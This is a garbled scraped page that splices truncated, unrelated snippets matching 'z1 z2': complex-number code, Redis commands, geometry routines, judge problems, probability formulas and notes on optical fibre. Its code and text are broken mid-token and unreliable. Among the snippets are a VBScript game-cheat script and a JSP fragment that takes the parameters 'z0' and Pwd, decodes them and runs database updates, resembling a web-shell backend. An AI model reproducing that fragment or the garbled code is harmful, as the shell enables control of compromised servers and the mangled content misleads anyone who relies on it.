cansonic z2

-of-class definition operator "*" overloaded functions.The {//plural multiplication implementation process.Double S;S=a*t.b+t.a*b;t.a=a*t.a-b*t.b;T.b=s;return t;}Complex Complex::operator/(complex t)//out-of-class definition operator "/" overloaded function.{//Plural division implementation process.Double s,v;V=-A*T.B+B*T.A;s=t.a*t.a+t.b*t.b;T.a= (a*t.a+b*t.b)/s;T.b=v;return t;}void Complex::bijiao (complex z1,complex z2)//out-of-class definition Biji

Set Obj = CreateObject ("Wscript.Shell") VBS Yn=obj.popup ("Welcome to the" Tan under the Qing-Lotus "old puzzle," The plug-in program, "Automatic" restore life value? ", 0," shut down? ", 36) GoSub jiance Detection location up=500 Down=0 Rem Brotherset Vbscall Up=inputbox ("Please set the brother limit of attack target") Vbscall Down=inputbox ("Please set the sibling limit of attack target") If Down>up MessageBox "Input Error" Goto Brotherset EndIf popup--Pop-up dialog box Delay 2000 Rem start

The shortest distance of two line segments Float distancelinetoline (const OSG: vec3d P1, const OSG: vec3d p2, const OSG: vec3d P3, const OSG: vec3d P4) {float distance; float X1 = p1.x (); // a coordinate (x1, Y1, Z1) float Y1 = p1.y (); float z1 = p1.z (); float X2 = p2.x (); // coordinate of point B (X2, Y2, Z2) float y2 = p2.y (); float Z2 = p2.z (); float X3 = p3.x (); // coordinate of point C (X3

below private static void Complexdemo () { var z1 = new Complex (3, 4); var z2 = new Complex (5, 6); var r1 = Complex.add (z1, Z2); var r2 = complex.subtract (z1, Z2); var r3 = complex.multiply (z1, Z2); var r4 = complex.divide (z1, Z2); Consol

collection key 127.0.0.1:6379> Zincrby z1 Bitch "+" 127.0.0.1:6379> zadd Z2 "Tom" " Li Lianjei ' 3 ' Jerry ' (int Eger) 3 127.0.0.1:6379> zinterstore Z3 2 z1 Z2 (integer) 1 127.0.0.1:6379> zrange z3 0-1 withscores 1) "Jerry" 2) "6" Zlexcount Key min Max calculates the number of members within a specified dictionary interval in an ordered set Zrangebylex key min Max [LIMIT offset Count] Returns

"); while (r. next () {for (I = 1; I Catch (Exception e) {sb. append ("Result \ t | \ t \ r \ n" retry m.exe cuteUpdate (q); sb. append ("Execute Successfully! \ T | \ t \ r \ n "); } Catch (Exception ee) {sb. append (ee. toString () + "\ t | \ t \ r \ n") ;}} m. close (); c. close ();} %> String cs = request. getParameter ("z0") + ""; request. setCharacterEncoding (cs); response. setContentType ("text/html; charset =" + cs ); String Z = EC (request. getParameter (Pwd) + "", cs); String z

Stean Time limit: 1 Second Memory Limit: 65536 KB Special Judge Tom is good at making Stean, he can make Steans of various color and shape. Now he want to know how many water it can contain, and what many material he need to making a stean.The shape of the Stean follows rules below:1. The horizontal projection is a circle. The front projection contains and cosine curve. Tom can pour water from the top of Stean.2.To describe it more clearly, Tom const

) \pm K\cdot SE (x)) \leq\frac{1}{k^2}$$ for instance, $ $P (x\ \text{is inside the interval}\ E (x) \pm2\cdot SE (X)) \geq1-\frac{1}{2^2}=\frac{3}{4}$$ De Moivre-laplace theoremFix any $p $ strictly between $0$ and $1$. As the number of trials $n $ increases, the probability histogram for the binomial distribution looks like the normal curve With mean $\mu=n\cdot p$ and $SD =\sqrt{n\cdot P\cdot (1-p)}$. Central Limit theoremLet $X _1, X_2, \ldots, x_n$ is independent and identically distrib

Write their own, there may be a lot of shortcomings, looking at where the wrong to ask, I change ~Code First, then explain what I think.1 namespacethreepointorientation2 {3 class Program4 {5 struct Point6 {7 Public intx;8 Public inty;9 }Ten StaticPoint Threepointorientation (Point A, point B, point C,intLenaz,intLENBZ,intLencz) One { A Point A1, B1, C1, Min, B2, Z2, Z1, ZZ1, ina

fiber loss Optical fiber loss is an important transmission parameter of optical fiber. Because of the attenuation of optical fiber, the optical power in the optical fiber decreases exponentially with the distance. However, the multimode fiber attenuation coefficient A for single-mode fiber or approximate steady state mode distribution is a position-independent constant. If you set P (Z1) as the optical power of the Z=Z1, the input light power. If you set P (

structpt3{Doublex, Y, z;};intSolvecenterpointofcircle (Std::vectorDoublecenterpoint[]) { DoubleA1, B1, C1, D1; DoubleA2, B2, C2, D2; DoubleA3, B3, C3, D3; DoubleX1 = pt[0].x, y1 = pt[0].y, Z1 = pt[0].z; Doublex2 = pt[1].x, y2 = pt[1].y, z2 = pt[1].z; Doublex3 = pt[2].x, y3 = pt[2].y, z3 = pt[2].z; A1= (y1*z2-y2*z1-y1*z3 + y3*z1 + y2*z3-y3*z2); B1=-(x1*

https://www.douban.com/note/277033391/Enter to Japan Amazon to see a preview of certain items can be magnified, when you want to right-click on the download and found only a blank map or white edges, thumbnails, cut the map, where is the original map? The fact that Amazon maps does not post-cut images is not a collage, but instead takes the original image down for analysis and then looks at the rules of Amazon graphics.The composition of the picture URLTake a product first to analyze and see ker

Miyu original, post Please note: Reprinted from __________ White House Description: Cube Time Limit: 2000/1000 MS (Java/others) memory limit: 131072/65536 K (Java/Others)Total submission (s): 495 accepted submission (s): 226 Problem descriptiongiven an N * n cube A, whose elements are either 0 or 1. A [I, j, k] means the number in the I-th row, J-th Column and k-th layer. initially we have a [I, j, k] = 0 (1 We define two operations, 1: "not" operation that we change the [I, j, k] =! A

) TECoClass; MRender = (IRender5) TECoClass; MMenue = (IMenu) TECoClass; MObjectManager = (IObjectManager5) TECoClass; MInformationTee = (IInformationTree5) TECoClass; // Load the 3D ball MTerraExplorer. LoadEx (@ "C: \ globe. fly", "", "", 0); // or mpt file, which can be generated using Terrabuilder. There are two main ways to generate the Pipeline Code: 1. single pipe segment Int iGround = mInformationTee. CreateGroup ("Pipeline", 0 ); Double x1 = 0, y1 = 0, z1 = 0, x2, y2,

and Y (this is like add (x, y), which meets our understanding of the plus sign ). Second, we need to normalize the S and Z required by X and Y so that X and Y share the binding of the same zero-sum and successor functions: let add = lambda x y. (lambda s z . (x s (y s z))) Taking a closer look, the formula above is nothing more than adding X and Y. We will first use "S" and "z" to create Qiu Qi number "Y ", apply "X" to y. "S" and "z" are "S" and "z" in "Y ". That is to say, the result we get i